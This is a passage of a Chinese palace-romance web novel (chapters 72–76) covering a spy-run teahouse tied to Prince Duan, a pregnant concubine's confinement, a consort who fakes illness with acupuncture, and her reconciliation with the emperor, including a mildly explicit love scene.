“对,你说得对,”她点头,赞赏地看着豆蔻,“还是你最懂我的心意。” 说着看向莲心,“行了,你起来吧。去甲板上盯着,陛下回来了,立刻回来告诉我。” 就连陛下身边的公公,都看出来她快要中了暑气,自己从小服侍的主子却视而不见。 莲心眼里含泪,只能低头应是。 “姜嫔娘娘、方娘娘,清一居到了。”马车外的侍卫勒停了马,轻轻敲了敲车门。 两人在丫鬟的搀扶下,下了马车。 这清一居便是姜舒月停人说起的,本地最受欢迎的茶肆。 以竹为梁,以茅为顶。 檐下挂着几盏素色灯笼,于风中轻轻摇曳。 茶肆前,挂着一方竹制匾额,‘清一居’三个字写得飘逸洒脱。 “这字倒是写的不错。”姜舒月虽然自己毛笔字写得一般,但是不妨碍她会欣赏。 方静姝闻言看了看,颇为认同,“灵动潇洒,倒是和这茶肆相得益彰。” “多谢二位贵人谬赞。”正说着,一个身着淡绿色罗群的女子从茶肆中款步而出。 乌发松松挽起,斜插着一支碧玉簪,眉眼含情,唇若樱桃。 有如此美貌的老板娘,难怪这间茶肆如此有名。 来了这里,即便不是喝茶,只为了看一眼这美貌的老板娘,便也值得一壶香茗钱。 季嫱看到姜舒月和方静姝二人立于门前,眼里不由得闪过一丝惊艳。 随后又若有所思般,垂下眼眸。 第72章 重要NPC “奴家季嫱,恭请二位大驾。”她略微一弯腰,一缕青丝从颈间滑落。 “季娘子,叨扰了。”姜舒月颔首,随即抬脚进入了茶肆。 听闻宫里贵人要来,清一居早已做了清场。 是以,这茶肆内今日空无一人。 里面摆放了几张竹桌竹椅,上面置有茶具。 竹制的墙壁上另挂有几幅书法,看这字迹,倒与外面匾额上的一致。 看姜舒月对墙上的书法感兴趣,季嫱便笑道:“这几幅书法,是奴家闲时所写,叫贵人笑话了。” 姜舒月回神看了看季嫱,勾唇笑笑,“写得好是事实,季娘子不必太过谦虚。” 季嫱似不好意思般,脸颊微红,“两位请坐,不知二位想品些什么茶?” “听闻清一居清幽风雅,茶也好,随意推荐些便是。” 季嫱许是经常遇到这样的茶客,沉吟一会后便说道:“清一居的玉露茶最为受欢迎,配上小店的白玉霜方糕,别有一番风味。” 姜舒月便点点头,“可。” 季嫱一边应着去准备,一边心思急转。 “两位贵人请慢用,”待茶水上桌,人也并未立刻离开,“早就听说宫里贵人眼界高,寻常实物入不了眼。小店简陋,还望贵人们莫要嫌弃。” 姜舒月端起茶抿了抿,“野趣也是趣。” 方静姝先是闻了闻茶香后,才抿了口茶:“入口回甘,好茶。” 她笑意盈盈,似是高兴得到认同,“能得贵人赏识,小店也算是有了天大的福分。” 随后脸上挂着恰到好处的笑意,熟练地摆弄茶具,看似不经意间说道:“常闻宫中贵人生活讲究,奴家虽无缘得见,但心中总是好奇。” 【季嫱?诶?这个名字好像有点耳熟?】 123本来对什么茶肆没兴趣的,但是听到这个人的名字之后,忍不住去查阅了一下。 【宿主,这个季嫱也是本书的一个重要女配,本来应该在后期才出现的,怎么现在就出现了?!】 姜舒月神色未变,又捻起一块糕点放入口中。 【真是好运气,随便走走都能遇到重要NPC。】 123【这个女配后期是通过中州刺史的关系,成了入宫选秀的秀女,中州刺史是端王的人。】 竟又是端王手底下的人。 【难怪了。】 姜舒月仿佛没听出来她话里的深意,只是浅笑着,“宫中生活,不过按规矩行事罢了,倒也无甚特别的。” 看她不接话,季嫱难免有些心急,又轻叹道:“听闻皇上心怀天下,恩泽万民。小女子虽身处市井之间,却也有鸿鹄之志。若有机会得见天颜,哪怕只是远远看上一眼,也算是此生无憾了。” 方静姝闻言眸光闪了闪,似笑非笑地看了季嫱一眼。 却只是拿起搞点品尝,并未搭话。 姜舒月依旧神色淡淡,撇了一眼季嫱,佯装不解。 “这茶点倒是做的不错,只是你这想法,让我听着有些糊涂,季娘子的鸿鹄之志,能与陛下有何关系?” 季嫱脸上的笑快要维持不住,心里暗恨姜舒月两人油盐不进。 她咬了咬唇,仍不死心,“奴家自经营者茶肆以来,自是想要可以与贵人们结下善缘。也许将来有缘可以让奴家侍奉皇上御前,说不定可以博皇上一笑。也算是奴家的荣幸。” 这下连几个丫鬟都惊呆了,这季娘子莫不是失心疯了? “季娘子,”姜舒月放下手中的茶盏,清脆的声音不大不小,“我与妹妹来此,只为寻个清净。你三番五次企图窥探宫禁,莫要以为我好性子便可以随意试探。这次我只当你实在好奇,不懂规矩,若再如此,休怪我不客气!” 季嫱当下脸色一白,跪倒在地,连连磕头:“娘娘息怒,奴家、奴家不敢了……” 被人连续打扰,即便这里的茶点再好,姜舒月也失了兴致。 理了理衣袖,起身便要离开。 看人还跪在地上,便垂眸看向她。 “季娘子,在此奉劝一句,这世道女子多有不易,既已有了安身立命之所,就莫再强求其他。” 直到所有人退出茶肆,再没有其他人后,季嫱瘫软在地上。 身上衣衫早已被冷汗湿透。 “早就告诉过你,不要操之过急了。瞧你,啧啧啧,一身狼狈。” 二楼传来珠帘晃动的声音,玄色衣摆拂过楼梯。 一名男子走到瘫倒的季嫱身边,执扇挑起她的下巴,看着她煞白的脸。 “如此的沉不住气,怎么配给王爷当眼睛?” 姜舒月扶着扶风的手迈出门口招牌时,身后传来瓷器迸裂的脆响,隐约还有几声呜咽。 方静姝显然也听见了,“走吧姐姐,该回了。” 她点点头,钻入马车中,慢慢驶向码头。 琼林在暗处盯着,早已发现二楼还有一个人藏着。 只是那人一直没有动过,琼林便也没有出手。 直到刚刚那人下来,琼林才发现,自己曾在端王身边见过此人。 在这里遇到了端王的下属,说明端王一直派人盯着,这不是一件好事。 好在姜嫔娘娘已经启程回码头,他也可以早点向陛下禀告这一发现。 贺云徽申时就已经回到了船上,站在书房的位置,正好能看到码头的入口处。 转了转手上的扳指,“都回来了吗?” 福安眼珠转了转,“回陛下,除了姜嫔娘娘,都回来了。” 转动的手指一顿,“可命人去寻了?” “婉妃娘娘已提前让宫人下去等候了,若是酉时还未归,便派人去寻。” 听完他复又开始转起来,“让福禄也下去侯着。” “若是回来了,立刻来报。” “是。”福安应声退下。 刚和福禄交代完,送了出去,回头就见一人过来。 福安一看,得,这下又没个消停了。 尹宝林听从了豆蔻的建议,亲自去了膳房内。 膳房伺候的人看她进来,无不惊讶。 又听说她要自己诶陛下做羹汤,还不许旁人帮手。 害怕出点什么问题,惹祸上身。 一时间都恨不得离她远远的。 在家中时,她常给父亲做蛤蜊米脯羹。 虽然已经有一段时间没做了,但是再做也颇为顺手。 “见过尹娘娘。”福安躬身给尹宝林行礼。 尹宝林颔首,“福安公公,听闻陛下一日未曾进食,我特意做了蛤蜊米脯羹,还望公公通报一声。” “娘娘在此等候片刻。” 不过片刻,福安又推了门出来,面露难色。 “尹娘娘,陛下正在处理政务,怕是无暇进食,您请回吧。” 尹宝林却不愿意回去,只坚持让福安再去通传,“公公,这是我亲自做的,凉了就不好喝了,还请公公再去通报一次。” 福安无奈,只能再次进去。 好在这次他带了的是好消息。 贺云徽捏了捏眉心,“让她进来吧。” 尹宝林脸上一喜,果然豆蔻没说错。 “见过陛下,”她整理了一番,莲步轻移至书房内,“听闻您今日还未曾进食,妾身特意给您做了蛤蜊米脯羹,您尝尝。” 她把食盒打开,从里面端出一盅汤水。 贺云徽看了眼她单薄的身体,眉头紧蹙。 “你如今怀有身孕,不在舱房内好好歇着,何故折腾这些?” 第73章 尹宝林禁足 尹宝林心里正期待贺云徽的夸奖。 没想到他第一句话,竟然是觉得自己在胡乱折腾。 “陛下,”她有些委屈,“妾身只是听闻您许久都未曾进食,有些担心。妾身很小心的,不会伤到身体。” 贺云徽有些不耐烦,他算是发现了,这尹宝林真真是有些听不明白话的。 “朕若是饿了,自有底下的人去操心,”他把手里的奏折扔回桌上,“何须劳动你来做这些。” 她眼眶泛红,泪水在里面打转,“妾身……只是心疼您。” “难道妾身连为您送完羹汤,都不可以吗?” “您就这么,这么厌烦我吗?” 话一出口,福安心里‘咯噔’了一下,再去看贺云徽,果然脸色更差了。 这尹宝林莫不是疯了?难道陛下还必须要喝了这汤,才算是喜欢她吗? 尹宝林自是没有注意到贺云徽的脸色,兀自哭哭啼啼。 整个书房里,都是她的哭声。 福安想着,也不能放任怀了孕的主子娘娘这么哭下去,“尹娘娘,陛下也是心疼您,您看这汤,就交予奴才吧。” 说着便要上前去,从她手里接过食盒。 谁知尹宝林突然发难,伸手推了福安一把。 福安毫无设防,整个人踉跄了一下。 “啪——”一声巨响,在书房内炸开。 等到尹宝林回神之后才发现,自己竟然推倒了福安。 就连食盒里的汤盅也在这次推搡之中,掉落在地上。 摔成了碎片,里面的羹汤洒了一地。 她呆愣在原地,福安见状立马跪了下来。 “请陛下责罚。” 真是晦气!他心里暗骂。 “尹宝林,”贺云徽深吸一口气,“你说的心疼,就是来朕的书房,强迫朕喝汤,又推了朕的心腹内侍,” “是吗?” 最后两个字落下,尹宝林终于回过神来。 “陛、陛下。”她突然‘扑通’一声跪下,又哭了起来。 “妾身知错,妾身只是太想您了,想着要为您做些什么……” 够了,你这话,朕已经听过太多次,贺云徽打断了她的话,“念在你怀孕的份上,朕已经多次给你体面。如今又朕的书房内放肆胡闹,你心里可还有半点规矩?!” 原本宠幸尹宝林的时候,她还算温柔可人。 但是不知道为什么,怀了孕之后性情立刻大变。 时常要作些妖才算完,现在竟然闹到自己的书房内。 尹宝林虽然脑子不清醒,但她也知道自己这是闯了大祸。 “陛下,您原谅妾身吧,妾身真的不是故意的!” 她想要过去抓住贺云徽的衣角。 却被地上碎裂的瓷器划伤了膝盖。 “啊!”鲜血瞬间染红了衣裳。 “快传太医!”福安一看,吓得不清,立刻高声喊道。 豆蔻原本站在书房门口等待,结果只听里面高喊一声“传太医”,立马意识到了问题。 顾不得身份,她推门进入。 就看尹宝林跪坐在地上,手紧捂着膝盖,还有鲜血从指缝中溢出。 也顾不上行礼,尖叫一声扑了过去,“娘娘!您没事吧娘娘!” 一时之间书房内闹得人仰马翻。 福安和豆蔻合力,一起将尹宝林抬到了书房内的一张矮榻上。 很快,李太医就拎着药箱赶来。 看到书房内混乱的场景,心里也是叫苦不迭。 自从他负责给尹宝林看胎之后,总是出现一些意外状况。 看了眼尹宝林腿上的伤,他说了句“娘娘冒犯了”,拿出剪子,将这附近的布料剪下。 又拿着镊子小心翼翼地,将伤口里的瓷器碎片夹出来。 清理了伤口,又给上了药包扎起来。 期间尹宝林一直仰头,看着贺云徽,眼里多有期盼。 嘴里还不停地说着,“陛下,原谅妾身吧。” “这伤在膝盖,这段时间内,宝林娘娘最好卧床修养,不要碰到水,”李太医处理完了伤口,叮嘱道。 “谢谢李太医!”豆蔻吓得眼泪糊了一脸。 “胎儿可有影响?”毕竟她肚子里的是自己孩子,贺云徽又怎么会真的不理会。 李太医回道:“宝林娘娘心绪不定,这于养胎不利。好在目前脉象来看,脉象强劲,只要后面可以静养,便无大碍。” 贺云徽点点头,挥手让无关的人都退了出去。 又听得她在身后无休止地哭泣,额头上的青筋抽动。 “福安,传朕口谕,尹宝林身体不适,朕心忧之。特命其于房内安心养胎,一应事务皆有专人照料.” 他深吸一口气,继续说道:“未免其劳累,在养胎期间,除贴身宫女外,旁人无事不得随意打扰,以期早日康复。若有违抗,定不轻饶。” 尹宝林瞪大了眼睛,“陛下!您不能这么对我陛下!我肚子里怀了你的孩子啊陛下!” 她不敢相信,只是因为这样的事情,贺云徽就要给自己禁足。 她还想再说什么,贺云徽已经转过身去,不再看她。 福安甩了甩拂尘,指着外面候命的太监,“你们两个,将尹娘娘扶回去。” 小太监们立刻上前,一人一边就将尹宝林架了起来。 抬出书房前,尹宝林还在不停地喊叫。 福安眉头就没松开过,眼神扫了一眼豆蔻。 豆蔻看懂了福安的眼神,咬咬唇,出门前在尹宝林耳边低语了一番。 果然,说完之后她便安静了下来。 任由太监们将她抬回去。 贺云徽实在头疼,只能端起茶水喝了一口。 姜舒月刚一上船坞,就看到了尹宝林被人抬走的画面。 和方静姝对视一眼,都在对方的眼里看到了不解。 “娘娘,您可算回来了。”小方子气喘吁吁地跑来,“您再不回来,婉妃娘娘都要出动人去找您了。” 在清一居里耽误了一会,没想到竟差点误了时辰。 “婉妃娘娘现在在哪?”姜舒月想了想,决定先去她那露个脸,报个平安。 等她从姜婉清那回到自己的舱房之后,才想起来刚刚在船坞上看到的事情。 “尹宝林是怎么回事?”她招来小方子问道。 小方子早已经打听好了消息,闻言就将来龙去脉说了一遍。 姜舒月已经无法用无语,来形容自己的感受了。 “现在皇上下令,任何人都不允许探视。” 姜舒月点点头,“如此也好,毕竟怀了皇嗣,还是要注意些。” 本来想着今晚回来之后,就装病去叫贺云徽。 看来是得推迟了。 想着,对着明夏招了招手。 “明日我起来之后,你就去找陛下,就说我水土不服,不舒服。” 明夏愣了愣,随即就明白了,点了点头,“是,娘娘。” 心里抑制不住地高兴,娘娘总算是开窍了。 又想到万一陛下召太医,那娘娘岂不是要露馅了? “娘娘,可需要奴婢给您调配药丸?” 姜舒月回过神来,自己身边明明有个会医术的丫鬟,何必还要上系统里兑换道具? 这么一想,她顿觉自己之前浪费了太多积分。 “可有办法,让我看起来憔悴一些?” 她可不想学那些影视剧里,假装淋凉水真病那一套。 “奴婢可以用针灸,帮娘娘扎一下,即刻便会有恶心头晕之感,太医也不会诊出问题。” 第74章 怎么照顾人的 她眼睛一亮,“好,明日可就靠你了明夏。” 明夏垂眸笑了笑,只要能让娘娘和陛下和好,她必定全力以赴。 “回来了吗?”贺云徽站在窗前,一直没看到姜舒月的马车。 “回陛下,底下人刚刚来报,姜嫔娘娘已归。” 福安躬身回道。 “哼。”贺云徽从鼻子里轻哼一声,“竟在外头如此乐不思蜀。” 这话福安可不敢接,只能装听不见。 “陛下,琼林有要事禀告。” 门外响起琼林的声音。 今日他是陪着姜嫔出去的,可别是姜嫔娘娘出了什么事情。 福安立刻开门。 贺云徽显然也想到了什么,转身问:“何事?不是让你去暗中保护姜嫔,可是她出了什么事情?” 琼林单膝跪地,俯首答道:“今日臣在郊外一茶肆中,看到了端王身边的人。” 端王?!竟这般快就找到这里? 贺云徽眼神一暗,“继续。” “今日娘娘一时兴起,去了郊外的一间茶肆,臣在暗处时已然发现二楼还藏匿了一人。但此人并无举动,臣便只在暗中观察。” “那茶肆老板娘,一直在试探娘娘,言语中似想让娘娘代她向陛下引荐。” “最后娘娘不堪其扰,便训斥了她。临走前,臣听见那人下楼之后,亲口说这老板娘乃端王眼线。” 琼林话音刚落,贺云徽便又冷哼一声。 “这算盘倒是打得响,”他执笔写了些什么。 写好后折起递给琼林,“立刻快马加鞭送去给睿王,让他务必盯紧了。” “是。” 月色清浅,幔上绣着盛开的海棠,屋里燃起的熏香煞是好闻。 明夏在这熏香之中加了些安神香,姜舒月很快就闻着这香,深深睡去。 待她睡着之后,明夏拿出随身的银针。 快速地在姜舒月身上的几处穴位,扎了一下。 动作很快,姜舒月还没感觉到什么,就已经施针完毕。 翌日一早,天光渐亮,江上空气湿润,满是雾气。 姜舒月有些睁不开眼,耳朵边听到了一些嘈杂的声音。 其中还夹杂着贺云徽的声音,“你们是怎么照顾人的,怎么病了也不知?” 接着便是扶风的声音,哭哭啼啼的,“陛下恕罪,娘娘这几日茶饭不思,奴婢们怎么劝都吃不下东西。” “若是不能好好照顾姜嫔,朕看你们也没有留下的必要了!” 贺云徽这狗男人是怎么回事,怎么对自己的丫鬟如此凶? 他是不是想要治她们的罪? 越着急越睁不开眼睛,急得姜舒月眼泪都出来了。 随后感觉身边的床有人坐了下来,轻轻地用拇指擦掉了自己的眼泪。 看着姜舒月挣扎着睁不开眼睛的样子,贺云徽脸色难看。 “太医呢?”他喊道,“再去催!” 又放缓了声音,“月儿,是朕,别害怕。” 姜舒月心里大喊:我当然知道是你这个狗东西了! 丝毫没觉得自己现在哪里不对。 “臣参见……”胡太医还没说完,贺云徽立刻打断他。 “快过来给姜嫔诊脉!” 看贺云徽如此,胡太医也顾不得其他,忙快步过来。 手腕上搭了一条帕子,胡太医垂眸。 这脉象…… “启禀陛下,姜嫔娘娘脉象虚浮,脾胃失调,乃是水土不服导致,至于为何昏睡不醒,应是魇着了。待臣给娘娘施针之后,半时辰之内就会醒。”胡太医起笔写了一张药方。 “这药方以健脾和胃、调理气血为主,三碗水煎至一碗服下即可。” 又从药箱里拿出银针,在姜舒月的手背上的几处穴道上,扎了一针。 几个宫人都松了一口气,只有明夏心里知道是怎么回事。 贺云徽也放下心来,挥挥手,将人都赶了出去。 “胡太医,这方子就给奴婢吧。”扶风上前去接了药方。 却没看到胡太医趁没人时,悄悄瞪了一眼明夏。 明夏尴尬地挠挠脸,不去看他。 她也不知道今日当值的是胡伯伯啊…… 等到四周都没人了,胡太医才低声说她:“你真是胆大妄为,竟敢在陛下眼皮底下搞小动作。今日若不是我,换别的太医,万一诊出端倪来,我看你要怎么办!” 明夏讨好地给胡太医拎药箱,“哪能呀,这针法,只有您和我师傅能诊出来,不然我也不能用啊。” 胡太医还想要再说她,又不舍得。 怎么说也是自己看着长大的。 唉,老陈这次南巡没来,就这么一个徒弟,怎么着自己也得多看顾着些。 “你啊,”他没好气地白了明夏一眼,“药箱给我,回去吧。” 贺云徽坐在床边,手指轻轻拂过姜舒月的脸庞。 好像比那天在甲板上看着,更加消瘦了。 他拿起姜舒月的手,放在了唇边,轻轻蹭着。 早知道,她会如此,自己就算再生气,也不会不来看她。 “是朕不对,不该跟你生气,”贺云徽声音低沉,“也不该跟你计较那些,更不该不来看你。” 姜舒月虽然眼睛睁不开,但是耳朵却可以听得见。 只是没想到贺云徽给她来了一个深情告白。 心里有些别扭,还怪深情的嘞。 费劲地动了动手指头,贺云徽立刻看向她的脸。 发现她还是没有要醒的迹象,于是便让福安将奏折全都搬来姜舒月的舱房内。 “陛下,婉妃娘娘、兰昭容娘娘和方才人娘娘求见。” 贺云徽皱了皱眉,本想让人离开,又想着姜婉清是姜舒月的姐姐,方静姝是她宫中好友,只好让人进来。 “见过陛下。”三人站在房内,竟显得这房间略拥挤了些。 “起来吧。”贺云徽转身坐到了一旁的太师椅上。 姜婉清看了一眼躺在床上,脸色苍白的姜舒月,“臣妾听闻妹妹病了,这才过来看看,这怎的生病了,脸色这般难看。” 说着上前去摸了摸姜舒月的额头。 没有发烧。 方静姝也快步走了过来,脸上一副担忧地样子。 “怎会如此,昨日还好好的,”她握住了姜舒月的手,“怎么一晚上过去就病了?” “可传了太医来看?”兰昭容问了一旁的静玉。 静玉屈膝,“回娘娘,太医看过了,也开了药方。” “什么病这般昏睡不醒?”在场的人,除了贺云徽之外,当属姜婉清最着急。 前两天才给了一张方子调理身体,这如今又病了。 等到好了之后,还不知要多久才能怀上孩子。 难不成她们姜家的女子,每个备孕之路都如粗坎坷? “胡太医说娘娘可能是魇着了,已经给娘娘施了针,一会就能醒来。” 姜婉清点点头,“若是缺了什么药材,尽管去本宫那拿。” 前两日看着还好好的人,说病就病了。 兰昭容叹了口气,“本宫那也有不少药材,缺了什么就只管来。” 方静姝没有什么名贵的药材能拿得出手,只能想着回头找太医开几个药膳方子,亲自炖了给姜舒月送来。 静玉再次福身谢过。 “唔……”床上的人幽幽转醒,眼神有一瞬间的迷茫。 “姐姐?静姝?” 姜舒月发现,跟后宫的这些女人待久了,自己的演技也是越发地精湛了。 “可还有哪不舒服?”贺云徽一看人醒了,立刻过来床边坐下。 一看到贺云徽,姜舒月就闭上了嘴巴,又不说话。 姜婉清看人没有什么大碍,又有心让姜舒月跟贺云徽好好相处。 只说了让姜舒月好好休息的话,便和兰昭容相携着出去了。 “姐姐好好养病,妹妹明日再来看你。” 静玉几个也互相对视一番,悄悄退出了房间。 顿时屋里就只剩下了贺云徽和姜舒月。 “可还委屈?” 第75章 再忙都会来看你 贺云徽这话一问出口,姜舒月的嘴巴就一瘪。 马上就要哭出来的样子。 贺云徽将她扶了起来,在她身后坐下,把人搂在了怀里。 “是朕不好,”他贴着姜舒月的耳朵,亲了亲,“月儿原谅朕,可好?” 看着怀里的人,小小一只的窝着,贺云徽忍不住手又紧了紧。 自两人上次闹别扭之后,他已有近半个月不曾抱过她了。 姜舒月舒服地靠着,“嫔妾怎么敢生陛下的气。” “只是陛下不来见嫔妾,嫔妾也不能贸然打扰您。听下面的人说,您最近一直很忙。” “以后再忙,朕也会抽空来看你,”他又握上了姜舒月的手,“不再叫你难受,可好?” 她点点头,其实心里并没有真的放在心上。 毕竟一个帝王,上头的时候说的情话,都不太可能会兑现。 屋内气氛逐渐缓和下来。 守在门口的福安也终于松了口气。 可算过去了。 他心想着。 “陛下今儿要留下用午膳吗?” 她有点饿了,想要再尝尝千味楼的河鲜烩。 看她舔了舔唇,贺云徽嘴角扬起,“有什么想吃的?” 姜舒月立刻说:“嫔妾想吃千味楼的河鲜烩。” 贺云徽刚跟人和好,自然不会拒绝她的要求。 “来人。”他扬声喊道,见福安推门进来,便吩咐下去。 “慢着!”福安刚要走,姜舒月又喊住他,“内城有家书肆,福安公公可否帮我买几本话本?” 福安看了一眼贺云徽,见他挥手,“是,姜嫔娘娘可还有别的吩咐?” 姜舒月摇摇头。 “陛下,您放开嫔妾吧。”见他还搂着自己不放,姜舒月只好扭了扭身子。 “嫔妾还未梳洗。”她有些不好意思,耳尖微红。 贺云徽捏了捏她腰间的软肉,“去吧,朕就在这处理政务。” 姜舒月这才发现他把奏折都搬了过来。 随后便在静玉的服侍下,仔细收拾了一番。 过了片刻后,出现在贺云徽面前。 一袭月白绫罗长裙,裙摆如流云般轻盈飘逸。 领口与袖口处,以素色丝线勾勒出细腻的兰花纹样。 腰间束一条淡粉色的锦带,丝带末梢垂落的两颗莹润珍珠,随着她的动作轻轻晃动。 浓密的长发松松挽起,斜插一支羊脂玉簪,簪头雕琢成一朵小巧的梅花,花蕊处镶嵌着一粒莹白的珍珠。 两缕发丝垂落在白皙的颈边,显得她更加娇嫩。 贺云徽喉咙滚动,手指不自觉地捻了捻。 两人和好如初之后,姜舒月又像以往跟贺云徽相处那样。 走过来就直接坐在贺云徽的腿上,双手搂着他的脖子晃动着。 两位主子在一起的时候,就不喜欢旁人在。 打姜舒月过去贺云徽身边后,宫人们就陆续退了出来。 “陛下,这几天您可有想嫔妾?” 贺云徽的手上还拿着笔,又要抱着人不掉下去,大手轻轻在她屁股上拍了一下。 “坐着也不老实,”虽然这么说着,但是手还是紧紧抱着她,“在想怎么会有这么没良心的人。” 姜舒月轻哼了一声,“嫔妾哪敢呢,哄着您还来不及。” 哄? “这么说来,爱妃平日里对朕都是假情假意?” 贺云徽瞧着心情很是不错的样子,姜舒月便越发地放肆。 手直接从他的领子里探了进去。 “嘶——”他蓦地瞪大眼睛。 “怎么了陛下?”姜舒月眨巴眨巴眼睛,眼神无辜地看着对方。 一双桃花眼水汪汪的,像一潭秋水。 白皙的脸庞上还挂着甜甜的笑。 “你真是越发大胆了。” 不知道什么时候,手中的笔掉落在地上。 贺云徽手一提,就把姜舒月放到了桌子上。 手一抽,将腰间的束带拉开。 “陛下?!”姜舒月连忙把住了他的手,“现在还是白天……” 贺云徽贴到她耳边,“爱妃刚才的举止,可没想过是否是白天。” “乖,别动……” 姜舒月咬着唇不敢出声,面上酡红一片,“陛下,您、快些……” 约莫半个时辰后,姜舒月无力地倒在贺云徽的怀里。 贺云徽嘴角噙着笑,也没叫宫人。 亲自去给帕子洗净后,在她胸前轻轻地擦拭着。 “唔……”冰凉的帕子碰到,姜舒月被激得起了一身鸡皮疙瘩。 擦着擦着,又亲了亲人的嘴角。 原本消下去的欲望,又升腾起来。 压着人就亲了上去。 又在那雪白处嘬了一个印子出来,“真真是太娇了……” …… “容华娘娘,陛下圣喻,让姜嫔娘娘好生休息,无法见您。” 小方子不在,只留了小路子一人在门口守着。 岳容华身后的洛云手里还捧着一盒药材,就那么直愣愣地站在门口。 任由小路子怎么说都不肯离开。 岳容华看自己已经都来了,却没见到贺云徽,心里不甘,“可是我很担心姜嫔妹妹,真的不能进去看看吗?” 小路子心想自家娘娘从来没有跟她来往过,哪里来的情谊。 无非是看陛下在这,想来显眼的吧。 这样的话,更加不能让她进去了。 娘娘好不容易才和陛下和好。 “容华娘娘,您还是请回吧,陛下下令不许任何人打扰。” “你都没进去通传,怎知姜嫔妹妹不肯见我?” 岳容华连着被小路子拒绝两次,心头火起,声音也跟着大了起来。 小路子又说:“奴才也是奉了陛下的命令。” “你这太监也太不知好歹了,我家娘娘不过是让你进去通传,姜嫔娘娘生病了,于情于理,我家娘娘来看看她,至于如此推三阻四吗?” 思雨毫不客气地伸手直指小路子。 小路子皮笑肉不笑的应着:“奴才不敢。” 岳容华简直要被小路子气死了。 原本她也不想来,但是看到婉妃、兰昭容和方静姝都来了,又听到陛下也在,就想着过来刷刷脸。 却被挡在门外,怎么能不气? “岳容华娘娘。”福安身后跟着几个小太监,手里拿着几个食盒,从外面进来,看着气氛焦灼,连忙喊了一声。 “福安公公,你来的正好,”岳容华回头一看是福安,脸上换了副表情,“今日听闻姜嫔病了,我带着药材前来,却被这个奴才拦在门外。” 小路子看到福安回来了,也松了口气。 这岳容华实在难缠,说了好几次陛下不让打扰。 也不管不顾,硬是让自己进去通报。 福安也没想到,走了一个尹宝林,又来一个岳容华。 原本这岳容华在贺云徽眼前也还算得上号,但是贺云徽已经许久未见她。 在福安心里,她的重要性自然是不比如今的姜嫔娘娘。 但也不好对她不敬,只能为难地说道:“娘娘息怒,今儿陛下确实下了令不许人打扰,您看这药材交予奴才,奴才进去替您转达一番。别的奴才就——” 岳容华还是给福安几分面子的,闻言也笑了笑。 “那就辛苦福安公公了。” 说着她还嘲讽地看了眼小路子,“比某些人,可要知礼数多了。” 小路子知道她说的是自己。 那又如何,他根本不在乎。 而岳容华口中知礼数的福安,进了外间的门之后,便找了个地方坐了下来。 静玉瞪大眼睛看他。 “公公?” 福安摆摆手,比了跟食指在唇上,小声说道:“别说话,拖上一拖。” 静玉了然地看了眼紧闭的门,捂嘴偷笑起来。 两位主子好不容易和好,底下的人开心都来不及。 谁会这么没眼色进去打搅? 第76章 和好日常 若是外面来的是贵妃,那福安少不得要进去通传一声。 岳容华如今无宠无爱的,一会出去打发走了便是。 没得扰了陛下的兴致。 福安都没想着进去通传,静玉更加不会去了。 就跟着福安在外间待着,随时等候主子的差遣。 “来人。”不多会,里面传出贺云徽的声音。 静玉低着头进屋,没有听见自家的娘娘的声音。 “伺候你家娘娘更衣。”贺云徽自己已经穿戴整齐,坐在书桌前,声音里带着餍足。 脸上已经看不出来时那般的低气压。 姜舒月无力地躺在床上,背对着静玉。 胸前现在是一阵一阵的疼,眼角眉梢尽是春意。 轻轻喘着气。 要知道一撩就无法收拾,刚刚自己还何必换了衣裳过来。 静玉低头应是,给姜舒月擦拭的时候,看到她胸前的痕迹,脸上还是不由得红了红。 随后又替姜舒月换了套衣裳。 福安则趁着这个时候推门走了出去。 脸上是无奈的表情,“岳容华娘娘,陛下有令,姜嫔娘娘需安心静养,您看这……” 岳容华脸上的表情一僵,手指用力攥紧了帕子。 明明心里呕的要死,脸上也要挤出一个笑容,“那我就不进去了,烦请公公转告姜嫔妹妹,让她好好休息,有空我再来看她。” “您有心了,奴才必定转告。”福安躬了躬身。 虽然两人隔了道门,但是小路子心里门清。 福安公公根本没有进去通传。 小路子将这一切看在眼里,心想又学到一招。 以后除大事以外,谁再没眼色过来打扰,他也可以这样。 收拾妥当后已经是快过了午时了。 姜舒月说不出的累,似无骨般,歪倒在靠垫上面。 “陛下~”她轻声唤着,清软的嗓子似带了钩子,不停地勾着贺云徽的心。 他放下手中的笔,抬眸看姜舒月。 见她虽然嘴上叫着自己,但是眼神不住地向外面看去。 贺云徽勾唇一笑,“福安,摆膳。” 终于吃上了心心念念的河鲜烩,姜舒月心情好了不少。 除了河鲜烩,福安还带了其他的特色美食。 都是江宁这边的小吃。 “陛下,您也吃。” 姜舒月终于舍得抬起头来,看贺云徽没怎么动筷,起身拿了空碗给他盛了一碗鱼汤。 贺云徽的口腹之欲不高。 但每次来姜舒月这里,却很神奇的能够多吃些东。 午膳过后,姜舒月也没有什么事情。 贺云徽又把自己的书桌霸占了,她索性就让静玉搬来一把椅子,放在贺云徽的左手边。 摆上瓜果茶饮,就那么坐在人旁边,看起了话本。 她看得入神,贺云徽也专注着政务。 两人互不打扰,又十分和谐。 “你瞧,本宫这庶妹,可见是个有本事的。”姜婉清站在甲板上,听完了秋霜的回禀之后。 眼神落在不远处的江面上,半晌笑了笑。 冬雪在她身后,拿不准自家主子是什么想法。 “娘娘,若是姜嫔娘娘就此得了盛宠……” 秋霜没有什么顾忌,想到什么就说什么。 她自是替自家主子担心。 姜舒月两个月内连升两级,这速度就连当初的宋贵妃都赶不上。 只要陛下对她兴趣不减,升至二品。 那便可自己教养孩子。 到那个时候,娘娘就算想要抱养她的孩子。 怕也是无用了。 这个问题姜婉清不是没想过。 原本她还是有些自信的。 但是这段时间看来,自己倒是低估了姜舒月在贺云徽心里的位置。 “这事不必再说了。” 船队缓缓驶离了岸边。 贺云徽站在甲板之上,江宁县的官吏全都跪在岸边恭送。 更有甚者,泪洒江边。 姜舒月站在贺云徽身后不远,看这情形也有些咋舌。 这些官吏的演技,可比她在电视上看到的真情实感多了。 不知过了多久,江水趋于平静。 “季娘子,走吧。”季嫱站在城楼上,目光死死地盯着远处的船只。 身后的人等了许久不见她动弹,便有些不耐烦。 “还看什么?”那人冷哼一声,“你差点坏了王爷的大事,王爷没有责罚与你,便是你的荣幸。” 季嫱低下头,看不清表情。 “奴家谢王爷不杀之恩。” 最后她又深深看了一眼已经远离的船只,脸上戴好了幕离,随着那人离开。 “娘娘!您又赖皮!”扶风苦着脸,捂着手里的牌。 姜舒月笑嘻嘻的坐回椅子上,“这叫兵不厌诈!” 为了怕路途遥远,又无聊。 姜舒月把麻将和扑克牌都带上了船。 本来想着到了船上,就拿出来玩。 却被事情绊住了。 这两天喝了几贴药之后,便说什么也不愿意再喝。 